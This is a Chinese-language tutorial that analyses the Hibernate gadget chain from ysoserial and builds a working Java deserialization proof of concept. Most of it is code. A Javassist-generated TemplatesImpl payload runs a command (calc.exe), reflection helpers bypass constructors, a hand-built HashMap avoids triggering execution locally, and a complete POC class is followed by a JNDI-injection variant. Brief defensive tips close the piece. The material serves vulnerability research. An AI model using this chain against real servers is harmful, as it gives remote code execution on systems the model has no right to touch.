ysoserial源码分析之hibernate链(含poc编写)
字数 965 2025-08-18 11:36:53
Hibernate反序列化漏洞分析与POC编写
1. 环境准备
依赖环境:
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>5.0.7.Final</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
JDK版本:建议使用低版本JDK进行复现
2. 漏洞调用链分析
完整的调用链如下:
org.hibernate.property.access.spi.GetterMethodImpl.get()
org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
org.hibernate.type.ComponentType.getPropertyValue(C)
org.hibernate.type.ComponentType.getHashCode()
org.hibernate.engine.spi.TypedValue$1.initialize()
org.hibernate.engine.spi.TypedValue$1.initialize()
org.hibernate.internal.util.ValueHolder.getValue()
org.hibernate.engine.spi.TypedValue.hashCode()
2.1 关键点分析
-
GetterMethodImpl#get():
- 直接调用getterMethod的invoke方法
- 可利用TemplatesImpl链或JNDI注入
-
调用链回溯:
- 通过查找Getter类的实现找到调用get方法的位置
- 在AbstractComponentTuplizer.getPropertyValue中调用了get方法
-
hashCode触发点:
- 调用链中出现hashCode方法,可联想到Commons Collections链
- 最终在TypedValue.hashCode()中触发漏洞
3. POC编写详解
3.1 创建恶意TemplatesImpl对象
使用Javassist动态创建恶意类:
public static Object createTemplatesImpl() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
return templatesImpl;
}
3.2 创建Getter数组
Object tpl = (TemplatesImpl) Gadgets.createTemplatesImpl();
Class tplClass = tpl.getClass();
Class getter = Class.forName("org.hibernate.property.access.spi.Getter");
Object g = new GetterMethodImpl(tplClass, "test", tplClass.getDeclaredMethod("getOutputProperties"));
// 创建Getter数组
Object getters = Array.newInstance(getter, 1);
Array.set(getters, 0, g);
3.3 构造ComponentTuplizer
使用反射绕过构造函数:
public static <T> T createWithoutConstructor(Class<T> classToInstantiate)
throws NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class,
new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate,
Class<? super T> constructorClass,
Class<?>[] consArgTypes,
Object[] consArgs)
throws NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory()
.newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
设置ComponentTuplizer属性:
AbstractComponentTuplizer tup = createWithoutConstructor(PojoComponentTuplizer.class);
setFieldValueExtend(tup, AbstractComponentTuplizer.class, "getters", getters);
3.4 构造ComponentType
ComponentType t = createWithConstructor(ComponentType.class,
AbstractType.class,
new Class[0],
new Object[0]);
setFieldValue(t, "componentTuplizer", tup);
setFieldValue(t, "propertySpan", 1);
setFieldValue(t, "propertyTypes", new Type[] { t });
3.5 构造TypedValue
TypedValue v1 = new TypedValue(t, null);
setFieldValue(v1, "value", tpl);
setFieldValue(v1, "type", t);
3.6 构造恶意HashMap
直接使用HashMap.put会导致本地执行,需要使用反射构造:
public static HashMap makeMap(Object v1, Object v2) throws Exception {
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class,
Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
4. 完整POC代码
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
public class POC {
public static void main(String[] args) throws Exception {
// 创建恶意对象
Object tpl = (TemplatesImpl) Gadgets.createTemplatesImpl();
Class tplClass = tpl.getClass();
Class getter = Class.forName("org.hibernate.property.access.spi.Getter");
Object g = new GetterMethodImpl(tplClass, "test", tplClass.getDeclaredMethod("getOutputProperties"));
// 创建Getter数组
Object getters = Array.newInstance(getter, 1);
Array.set(getters, 0, g);
// 构造ComponentTuplizer
AbstractComponentTuplizer tup = createWithoutConstructor(PojoComponentTuplizer.class);
setFieldValueExtend(tup, AbstractComponentTuplizer.class, "getters", getters);
// 构造ComponentType
ComponentType t = createWithConstructor(ComponentType.class, AbstractType.class,
new Class[0], new Object[0]);
setFieldValue(t, "componentTuplizer", tup);
setFieldValue(t, "propertySpan", 1);
setFieldValue(t, "propertyTypes", new Type[] { t });
// 构造TypedValue
TypedValue v1 = new TypedValue(t, null);
setFieldValue(v1, "value", tpl);
setFieldValue(v1, "type", t);
// 构造恶意HashMap
HashMap hashMap = makeMap(v1, "String");
// 序列化测试
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
ObjectInputStream objectInputStream = new ObjectInputStream(
new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
// 辅助方法省略...
}
5. 关键技术与注意事项
-
反射绕过构造函数:
- 使用ReflectionFactory.newConstructorForSerialization创建绕过构造函数的实例
- 特别适用于需要复杂构造参数的对象
-
设置父类字段:
- 普通反射无法设置父类字段,需要指定具体类:
public static void setFieldValueExtend(Object obj, Class clazz, String field, Object arg) throws Exception { Field f = clazz.getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } -
避免本地执行:
- 直接使用HashMap.put会导致本地执行命令
- 必须通过反射构造HashMap内部结构
-
版本适配:
- 不同Hibernate版本可能需要调整实现
- JDK版本影响较大,建议使用低版本JDK复现
6. 扩展利用
除了TemplatesImpl链,还可以结合JNDI注入:
// 修改GetterMethodImpl创建部分
Object g = new GetterMethodImpl(JdbcRowSetImpl.class, "dataSourceName",
JdbcRowSetImpl.class.getMethod("setDataSourceName", String.class));
7. 防御建议
- 升级Hibernate到安全版本
- 限制反序列化操作
- 使用安全管理器限制危险操作
- 监控和过滤可疑的序列化数据
通过以上分析,我们深入理解了Hibernate反序列化漏洞的原理和利用方式,掌握了从零开始构造POC的关键技术。